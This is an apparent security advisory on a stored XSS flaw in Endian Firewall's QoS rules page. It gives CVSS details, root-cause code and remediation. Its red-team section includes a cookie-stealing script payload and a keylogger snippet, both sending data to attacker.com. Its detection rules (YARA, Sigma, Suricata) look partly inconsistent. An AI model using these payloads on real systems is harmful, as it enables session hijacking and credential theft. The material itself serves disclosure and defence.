CVE-2026-34804

Executive Summary

CVE-2026-34804 is a stored cross-site scripting (XSS) vulnerability in Endian Firewall version 3.3.25 and prior. An authenticated attacker can inject arbitrary JavaScript via the dscp parameter in the /manage/qos/rules/ endpoint. This injected script is stored on the server and executed when other authenticated users view the affected page, leading to potential session hijacking, credential theft, or further compromise within the firewall management interface.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary network appliance firmware (Endian Firewall). The risk is primarily to organizations using Endian Firewall as their network perimeter or internal segmentation device.

CVSS Breakdown & Threat Level

• CVSS Score: 4.8 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – An attacker must have valid credentials to the firewall management interface.
• User Interaction: Required (UI:R) – A victim user must view the affected page.
• Scope: Changed (S:C) – The injected script can impact resources beyond the vulnerable component (e.g., steal session cookies).
• Confidentiality Impact: Low (C:L) – Limited information disclosure.
• Integrity Impact: Low (I:L) – Limited modification of data.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the potential for lateral movement and privilege escalation within the firewall management interface elevates the risk for enterprise environments.

Deep Dive & Mechanics

The vulnerability resides in the Quality of Service (QoS) rules management page at /manage/qos/rules/. The dscp parameter is used to set the Differentiated Services Code Point value for traffic classification. The application fails to sanitize or encode user input before storing it in the backend database and later rendering it in the web interface.

Attack Flow:

1. An authenticated attacker navigates to /manage/qos/rules/.
2. The attacker crafts a malicious payload in the dscp parameter, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the firewall's configuration database.
4. When another authenticated administrator views the QoS rules page, the stored payload is executed in their browser context.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or inject further malicious content.

Root Cause: Lack of output encoding when rendering the dscp value in the HTML response. The application likely uses a templating engine that does not automatically escape user-controlled data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP/Perl):

// Vulnerable: Directly outputs user input without sanitization
$dscp = $_POST['dscp'];
echo "<td>$dscp</td>";

Patched Code (Conceptual):

// Patched: HTML-encode the output
$dscp = htmlspecialchars($_POST['dscp'], ENT_QUOTES, 'UTF-8');
echo "<td>$dscp</td>";

Key Difference: The patched version uses htmlspecialchars() to convert special characters like <, >, ", ', and & into their HTML entity equivalents, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for the Endian Firewall web interface (e.g., admin:admin).
• Network access to the management interface (typically port 443).

Exploitation Steps:

1. Log in to the Endian Firewall web interface.
2. Navigate to https://<target>/manage/qos/rules/.
3. Intercept the request with a proxy (e.g., Burp Suite).
4. Modify the dscp parameter to include a malicious payload:

   POST /manage/qos/rules/ HTTP/1.1
   Host: target
   Content-Type: application/x-www-form-urlencoded
   Cookie: session=valid_session_cookie
   
   dscp=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&action=save
   

5. Submit the request.
6. Wait for another administrator to view the QoS rules page. The payload will execute, sending their session cookie to the attacker's server.

Alternative Payload (Keylogger):

document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key=' + e.key);
});

Blue Team

Detection Steps:

1. Monitor web server logs for unusual dscp parameter values containing <script>, onerror, onload, or other JavaScript event handlers.
2. Review database entries for the QoS rules table for suspicious HTML content.
3. Use the YARA and Sigma rules provided in the Detection Engineering section.

Mitigation Steps:

1. Immediately restrict access to the management interface to trusted IP addresses only.
2. Implement a Web Application Firewall (WAF) rule to block requests with malicious dscp values.
3. Manually review and sanitize all existing QoS rules.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /manage/qos/rules/ with dscp parameter containing <script> tags.
  • Outbound connections from the firewall to attacker-controlled domains (e.g., attacker.com).
• File IOCs:
  • Modified configuration files in /etc/endian/firewall/qos/ containing JavaScript payloads.
• Log IOCs:
  • Web server logs showing dscp values with HTML/JavaScript content.
  • Unusual POST requests to /manage/qos/rules/ from non-admin IPs.

Detection Engineering

YARA Rule

rule CVE_2026_34804_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Endian Firewall QoS rules"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-34804"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $xss_event = /on\w+\s*=\s*['"][^'"]*['"]/i
    condition:
        $xss_payload or $xss_event
}

Sigma Rule

title: Endian Firewall Stored XSS via dscp Parameter
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2026-34804 by injecting malicious JavaScript into the dscp parameter.
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/manage/qos/rules/'
        cs-uri-query|contains: 'dscp='
    filter:
        cs-uri-query|contains: 'dscp=<script'
    condition: selection and filter
falsepositives:
    - Legitimate use of JavaScript in dscp (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-34804 Endian Firewall Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/manage/qos/rules/"; http_uri; content:"dscp="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Management Interface: Restrict access to the web interface to a dedicated management VLAN or jump host.
2. Apply Input Validation: Implement server-side validation to reject any dscp value containing HTML tags or JavaScript.
3. Output Encoding: Ensure all user-controlled data is HTML-encoded before rendering in the browser.
4. WAF Rules: Deploy a Web Application Firewall with rules to block XSS payloads in the dscp parameter.

Long-Term Fix:

• Upgrade to a patched version of Endian Firewall once available.
• Conduct a full security audit of the web application codebase.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Workaround:

• Manually review and sanitize all existing QoS rules via the command line or database access.

Valters IT

{/* [Security Hash: 28FB5FE8D3B6C3DE8EBEF912] */}